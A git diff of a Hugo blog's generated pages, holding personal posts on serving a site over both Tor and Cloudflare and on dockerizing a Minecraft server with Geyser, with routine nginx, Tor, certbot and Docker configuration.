14px;border-inline-start:3px solid var(--primary)}.post-content hr{margin:30px 0;height:2px;background:var(--tertiary);border:0}.post-content iframe{max-width:100%}.post-content img{border-radius:4px;margin:1rem 0}.post-content img[src*="#center"]{margin:1rem auto}.post-content figure.align-center{text-align:center}.post-content figure>figcaption{color:var(--primary);font-size:16px;font-weight:700;margin:8px 0 16px}.post-content figure>figcaption>p{color:var(--secondary);font-size:14px;font-weight:400}.toc{margin:0 2px 40px;border:1px solid var(--border);background:var(--code-bg);border-radius:var(--radius);padding:.4em}.dark .toc{background:var(--entry)}.toc details summary{cursor:zoom-in;margin-inline-start:10px;user-select:none}.toc details[open] summary{cursor:zoom-out}.toc .details{display:inline;font-weight:500}.toc .inner{margin:5px 20px 0;padding:0 10px;opacity:.9}.toc li ul{margin-inline-start:var(--gap)}.toc summary:focus{outline:0}.post-footer{margin-top:56px}.post-footer>*{margin-bottom:10px}.post-tags{display:flex;flex-wrap:wrap;gap:10px}.post-tags li{display:inline-block}.post-tags a,.share-buttons,.paginav{border-radius:var(--radius);background:var(--code-bg);border:1px solid var(--border)}.post-tags a{display:block;padding:0 14px;color:var(--secondary);font-size:14px;line-height:34px;background:var(--code-bg)}.post-tags a:hover,.paginav a:hover{background:var(--border)}.share-buttons{padding:10px;display:flex;justify-content:center;overflow-x:auto;gap:10px}.share-buttons li,.share-buttons a{display:inline-flex}.share-buttons a:not(:last-of-type){margin-inline-end:12px}h1:hover .anchor,h2:hover .anchor,h3:hover .anchor,h4:hover .anchor,h5:hover .anchor,h6:hover .anchor{display:inline-flex;color:var(--secondary);margin-inline-start:8px;font-weight:500;user-select:none}.paginav{display:flex;line-height:30px}.paginav a{padding-inline-start:14px;padding-inline-end:14px;border-radius:var(--radius)}.paginav .title{letter-spacing:1px;text-transform:uppercase;font-size:small;color:var(--secondary)}.paginav .prev,.paginav .next{width:50%}.paginav span:hover:not(.title){box-shadow:0 1px}.paginav .next{margin-inline-start:auto;text-align:right}[dir=rtl] .paginav .next{text-align:left}h1>a>svg{display:inline}img.in-text{display:inline;margin:auto}.buttons,.main .profile{display:flex;justify-content:center}.main .profile{align-items:center;min-height:calc(100vh - var(--header-height) - var(--footer-height) - (var(--gap) * 2));text-align:center}.profile .profile_inner{display:flex;flex-direction:column;align-items:center;gap:10px}.profile img{border-radius:50%}.buttons{flex-wrap:wrap;max-width:400px}.button{background:var(--tertiary);border-radius:var(--radius);margin:8px;padding:6px;transition:transform .1s}.button-inner{padding:0 8px}.button:active{transform:scale(.96)}#searchbox input{padding:4px 10px;width:100%;color:var(--primary);font-weight:700;border:2px solid var(--tertiary);border-radius:var(--radius)}#searchbox input:focus{border-color:var(--secondary)}#searchResults li{list-style:none;border-radius:var(--radius);padding:10px;margin:10px 0;position:relative;font-weight:500}#searchResults{margin:10px 0;width:100%}#searchResults li:active{transition:transform .1s;transform:scale(.98)}#searchResults a{position:absolute;width:100%;height:100%;top:0;left:0;outline:none}#searchResults .focus{transform:scale(.98);border:2px solid var(--tertiary)}.terms-tags li{display:inline-block;margin:10px;font-weight:500}.terms-tags a{display:block;padding:3px 10px;background:var(--tertiary);border-radius:6px;transition:transform .1s}.terms-tags a:active{background:var(--tertiary);transform:scale(.96)}.bg{color:#cad3f5;background-color:#24273a}.chroma{color:#cad3f5;background-color:#24273a}.chroma .x{}.chroma .err{color:#ed8796}.chroma .cl{}.chroma .lnlinks{outline:none;text-decoration:none;color:inherit}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0}.chroma .hl{background-color:#474733}.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .ln{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .line{display:flex}.chroma .k{color:#c6a0f6}.chroma .kc{color:#f5a97f}.chroma .kd{color:#ed8796}.chroma .kn{color:#8bd5ca}.chroma .kp{color:#c6a0f6}.chroma .kr{color:#c6a0f6}.chroma .kt{color:#ed8796}.chroma .n{}.chroma .na{color:#8aadf4}.chroma .nb{color:#91d7e3}.chroma .bp{color:#91d7e3}.chroma .nc{color:#eed49f}.chroma .no{color:#eed49f}.chroma .nd{color:#8aadf4;font-weight:700}.chroma .ni{color:#8bd5ca}.chroma .ne{color:#f5a97f}.chroma .nf{color:#8aadf4}.chroma .fm{color:#8aadf4}.chroma .nl{color:#91d7e3}.chroma .nn{color:#f5a97f}.chroma .nx{}.chroma .py{color:#f5a97f}.chroma .nt{color:#c6a0f6}.chroma .nv{color:#f4dbd6}.chroma .vc{color:#f4dbd6}.chroma .vg{color:#f4dbd6}.chroma .vi{color:#f4dbd6}.chroma .vm{color:#f4dbd6}.chroma .l{}.chroma .ld{}.chroma .s{color:#a6da95}.chroma .sa{color:#ed8796}.chroma .sb{color:#a6da95}.chroma .sc{color:#a6da95}.chroma .dl{color:#8aadf4}.chroma .sd{color:#6e738d}.chroma .s2{color:#a6da95}.chroma .se{color:#8aadf4}.chroma .sh{color:#6e738d}.chroma .si{color:#a6da95}.chroma .sx{color:#a6da95}.chroma .sr{color:#8bd5ca}.chroma .s1{color:#a6da95}.chroma .ss{color:#a6da95}.chroma .m{color:#f5a97f}.chroma .mb{color:#f5a97f}.chroma .mf{color:#f5a97f}.chroma .mh{color:#f5a97f}.chroma .mi{color:#f5a97f}.chroma .il{color:#f5a97f}.chroma .mo{color:#f5a97f}.chroma .o{color:#91d7e3;font-weight:700}.chroma .ow{color:#91d7e3;font-weight:700}.chroma .p{}.chroma .c{color:#6e738d;font-style:italic}.chroma .ch{color:#6e738d;font-style:italic}.chroma .cm{color:#6e738d;font-style:italic}.chroma .c1{color:#6e738d;font-style:italic}.chroma .cs{color:#6e738d;font-style:italic}.chroma .cp{color:#6e738d;font-style:italic}.chroma .cpf{color:#6e738d;font-weight:700;font-style:italic}.chroma .g{}.chroma .gd{color:#ed8796;background-color:#363a4f}.chroma .ge{font-style:italic}.chroma .gr{color:#ed8796}.chroma .gh{color:#f5a97f;font-weight:700}.chroma .gi{color:#a6da95;background-color:#363a4f}.chroma .go{}.chroma .gp{}.chroma .gs{font-weight:700}.chroma .gu{color:#f5a97f;font-weight:700}.chroma .gt{color:#ed8796}.chroma .gl{text-decoration:underline}.chroma .w{}.chroma{background-color:unset!important}.chroma .hl{display:flex}.chroma .lnt{padding:0 0 0 12px}.highlight pre.chroma code{padding:8px 0}.highlight pre.chroma .line .cl,.chroma .ln{padding:0 10px}.chroma .lntd:last-of-type{width:100%}::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-track{background:var(--code-bg)}::-webkit-scrollbar-thumb{background:var(--tertiary);border:5px solid var(--theme);border-radius:var(--radius)}.list:not(.dark)::-webkit-scrollbar-thumb{border:5px solid var(--code-bg)}::-webkit-scrollbar-thumb:hover{background:var(--secondary)}::-webkit-scrollbar:not(.highlighttable,.highlight table,.gist .highlight){background:var(--theme)}.post-content .highlighttable td .highlight pre code::-webkit-scrollbar{display:none}.post-content :not(table) ::-webkit-scrollbar-thumb{border:2px solid var(--code-block-bg);background:#717175}.post-content :not(table) ::-webkit-scrollbar-thumb:hover{background:#a3a3a5}.gist table::-webkit-scrollbar-thumb{border:2px solid #fff;background:#adadad}.gist table::-webkit-scrollbar-thumb:hover{background:#707070}.post-content table::-webkit-scrollbar-thumb{border-width:2px}@media screen and (min-width:768px){::-webkit-scrollbar{width:19px;height:11px}}@media screen and (max-width:768px){:root{--gap:14px}.profile img{transform:scale(.85)}.first-entry{min-height:260px}.archive-month{flex-direction:column}.archive-year{margin-top:20px}.footer{padding:calc((var(--footer-height) - var(--gap) - 10px)/2)var(--gap)}}@media screen and (max-width:900px){.list .top-link{transform:translateY(-5rem)}}@media screen and (max-width:340px){.share-buttons{justify-content:unset}}@media(prefers-reduced-motion){.terms-tags a:active,.button:active,.post-entry:active,.top-link,#searchResults .focus,#searchResults li:active{transform:none}}.comments-switch button{padding:.35rem .6rem;border:1px solid var(--border,#ccc);background:0 0;border-radius:.5rem;cursor:pointer}.comments-switch button[aria-pressed=true]{font-weight:600;outline:none}#isso-thread{--pm-text:var(--content, #111);--pm-muted:var(--secondary, #6b7280);--pm-border:var(--border, rgba(0,0,0,.12));--pm-card:var(--entry, #fff);--pm-accent:var(--primary, #3b82f6);--pm-hover:rgba(0,0,0,.04);--pm-shadow:0 1px 2px rgba(0,0,0,.06), 0 8px 24px rgba(0,0,0,.08);color:var(--pm-text);font-size:1rem}@media(prefers-color-scheme:dark){#isso-thread{--pm-text:#e6e6e6;--pm-muted:#a0a0a0;--pm-border:rgba(255,255,255,.16);--pm-card:#0f1525;--pm-accent:#60a5fa;--pm-hover:rgba(255,255,255,.06);--pm-shadow:0 1px 2px rgba(0,0,0,.3), 0 8px 24px rgba(0,0,0,.25)}}#isso-thread .isso-root,#isso-thread .isso-thread{margin-top:1rem}#isso-thread .isso-postbox{background:var(--pm-card);border:1px solid var(--pm-border);border-radius:14px;box-shadow:var(--pm-shadow);padding:1rem}#isso-thread .isso-postbox label{display:block;margin:.35rem 0 .25rem;color:var(--pm-muted);font-size:.92rem}#isso-thread input[type=text],#isso-thread input[type=email],#isso-thread input[type=url],#isso-thread textarea{width:100%;background:0 0;color:var(--pm-text);border:1px solid var(--pm-border);border-radius:10px;padding:.6rem .75rem;font:inherit;outline:none}#isso-thread textarea{min-height:140px;resize:vertical}#isso-thread input:focus,#isso-thread textarea:focus{border-color:var(--pm-accent);box-shadow:0 0 0 3px rgba(59,130,246,.25)}#isso-thread .isso-postbox .isso-post-action,#isso-thread .isso-comment .isso-actions{margin-top:.6rem;display:flex;gap:.5rem;flex-wrap:wrap}#isso-thread .isso-submit,#isso-thread .isso-post-action input[type=submit]{appearance:none;background:var(--pm-accent);color:#fff;border:0;border-radius:10px;padding:.55rem .9rem;font-weight:600;cursor:pointer}#isso-thread .isso-postbox .preview,#isso-thread .isso-postbox .edit,#isso-thread .isso-reply,#isso-thread .isso-cancel,#isso-thread .isso-edit,#isso-thread .isso-delete{background:0 0;color:var(--pm-accent);border:1px solid var(--pm-accent);padding:.45rem .7rem;border-radius:10px;text-decoration:none}#isso-thread .isso-postbox .preview:hover,#isso-thread .isso-postbox .edit:hover{filter:brightness(1.05)}#isso-thread .isso-comment,#isso-thread .isso-preview{background:var(--pm-card);border:1px solid var(--pm-border);border-radius:14px;box-shadow:var(--pm-shadow);padding:1rem;margin-top:.85rem}#isso-thread .isso-preview{color:var(--pm-text)}#isso-thread .isso-comment .isso-meta{display:flex;gap:.5rem;align-items:baseline;margin-bottom:.35rem;color:var(--pm-muted);font-size:.92rem}#isso-thread .isso-comment .isso-author{color:var(--pm-text);font-weight:600}#isso-thread .isso-comment .text{line-height:1.6}#isso-thread .isso-comment .text p{margin:.5rem 0}#isso-thread .isso-comment .text a{color:var(--pm-accent);text-decoration:underline}#isso-thread .isso-comment blockquote{margin:.5rem 0;padding:.5rem .75rem;border-left:3px solid var(--pm-accent);background:var(--pm-hover);border-radius:8px}#isso-thread .isso-comment pre,#isso-thread .isso-comment code{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,liberation mono,monospace}#isso-thread .isso-comment pre{background:var(--pm-hover);border-radius:10px;padding:.6rem .75rem;overflow:auto}#isso-thread .isso-follow-up{margin-left:1rem;padding-left:.8rem;border-left:2px solid var(--pm-border)}a.isso-linked{color:var(--pm-accent)}a.isso-linked:hover{text-decoration:underline}#isso-thread .isso-avatar img,#isso-thread .isso-avatar svg,#isso-thread .isso-avatar canvas{width:28px;height:28px;border-radius:999px}#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url],#isso-thread .isso-postbox .preview,#isso-thread .isso-postbox .submit{margin-left:.5rem}#isso-thread .isso-postbox .preview,#isso-thread .isso-postbox .submit{margin-top:.35rem}#isso-thread .isso-comment{margin-top:1rem}#isso-thread ::placeholder{color:var(--pm-muted);opacity:1}:root #isso-thread{--pm-border:rgba(0,0,0,.14);--pm-hover:rgba(0,0,0,.045);--pm-card:#fff}html.dark #isso-thread,body.dark #isso-thread,html[data-theme=dark] #isso-thread{--pm-text:#e6e6e6;--pm-muted:#a0a0a0;--pm-border:rgba(255,255,255,.16);--pm-card:#0f1525;--pm-accent:#60a5fa;--pm-hover:rgba(255,255,255,.06);--pm-shadow:0 1px 2px rgba(0,0,0,.3), 0 8px 24px rgba(0,0,0,.25)}#isso-thread .isso-postbox textarea,#isso-thread .isso-comment .text,#isso-thread .isso-comment{color:var(--pm-text)}#isso-thread .isso-postbox .preview{background:0 0!important;color:var(--pm-accent)!important;border:1px solid var(--pm-accent)!important;padding:.45rem .7rem;border-radius:10px}#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url]{margin-left:.5rem!important}#isso-thread .isso-postbox .isso-post-action{margin-top:.5rem}#isso-thread .isso-comment .isso-actions{display:flex;flex-wrap:wrap;gap:.5rem}#isso-thread .isso-comment .isso-actions form{display:inline}:root #isso-thread{--pm-text:var(--content, #111);--pm-muted:var(--secondary, #6b7280);--pm-border:rgba(0,0,0,.14);--pm-card:#fff;--pm-accent:var(--primary, #3b82f6);--pm-hover:rgba(0,0,0,.045)}html.dark #isso-thread,body.dark #isso-thread,html[data-theme=dark] #isso-thread{--pm-text:#e6e6e6;--pm-muted:#a0a0a0;--pm-border:rgba(255,255,255,.16);--pm-card:#0f1525;--pm-accent:#60a5fa;--pm-hover:rgba(255,255,255,.06)}@media(max-width:640px){#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url]{margin-left:0!important;margin-top:.5rem}#isso-thread .isso-postbox .isso-post-action{margin-top:.6rem}}#isso-thread .isso-postbox .preview{background:0 0!important;color:var(--pm-accent)!important;border:1px solid var(--pm-accent)!important;padding:.55rem .9rem!important;border-radius:10px!important;font-weight:600!important;line-height:1!important}#isso-thread .isso-postbox .preview:hover{filter:brightness(1.05)}#isso-thread .isso-postbox input[type=text],#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url],#isso-thread .isso-postbox .preview,#isso-thread .isso-postbox .submit{display:inline-block;vertical-align:middle}#isso-thread .isso-postbox input[type=text]{margin-right:.5rem!important}#isso-thread .isso-postbox input[type=email]{margin-right:.5rem!important}#isso-thread .isso-postbox input[type=url]{margin-right:0!important}#isso-thread .isso-postbox .preview{margin-left:.6rem!important;margin-right:.5rem!important}#isso-thread .isso-postbox .submit{margin-left:.5rem!important}#isso-thread .isso-postbox .isso-post-action{margin-top:.55rem!important}#isso-thread .isso-comment .isso-actions{display:flex!important;flex-wrap:wrap!important;column-gap:.55rem!important;row-gap:.4rem!important;align-items:center}#isso-thread .isso-comment .isso-actions>*{margin-right:.55rem!important}#isso-thread .isso-comment .isso-actions>*:last-child{margin-right:0!important}:root #isso-thread{--pm-text:var(--content, #111) !important;--pm-muted:var(--secondary, #6b7280) !important;--pm-border:rgba(0,0,0,.14) !important;--pm-card:#fff !important;--pm-accent:var(--primary, #3b82f6) !important;--pm-hover:rgba(0,0,0,.045) !important}#isso-thread .isso-postbox textarea,#isso-thread .isso-comment .text,#isso-thread .isso-comment{color:var(--pm-text)!important}html.dark #isso-thread,body.dark #isso-thread,html[data-theme=dark] #isso-thread{--pm-text:#e6e6e6 !important;--pm-muted:#a0a0a0 !important;--pm-border:rgba(255,255,255,.16) !important;--pm-card:#0f1525 !important;--pm-accent:#60a5fa !important;--pm-hover:rgba(255,255,255,.06) !important}.rss-link{display:inline-flex;align-items:center;gap:.35rem}.rss-link svg{margin-left:10px;width:18px;height:18px}.rss-link span{font-size:.65rem} \ No newline at end of file diff --git a/public/categories/devops/index.html b/public/categories/devops/index.html new file mode 100644 index 0000000..6068c53 --- /dev/null +++ b/public/categories/devops/index.html @@ -0,0 +1,14 @@ +DevOps | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/categories/devops/index.xml b/public/categories/devops/index.xml new file mode 100644 index 0000000..eaf77c0 --- /dev/null +++ b/public/categories/devops/index.xml @@ -0,0 +1,422 @@ +DevOps on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/Recent content in DevOps on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/categories/devops/page/1/index.html b/public/categories/devops/page/1/index.html new file mode 100644 index 0000000..6f4db5a --- /dev/null +++ b/public/categories/devops/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + \ No newline at end of file diff --git a/public/categories/games/index.html b/public/categories/games/index.html new file mode 100644 index 0000000..4fd675a --- /dev/null +++ b/public/categories/games/index.html @@ -0,0 +1,10 @@ +Games | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/categories/games/index.xml b/public/categories/games/index.xml new file mode 100644 index 0000000..1fad719 --- /dev/null +++ b/public/categories/games/index.xml @@ -0,0 +1,259 @@ +Games on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/Recent content in Games on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

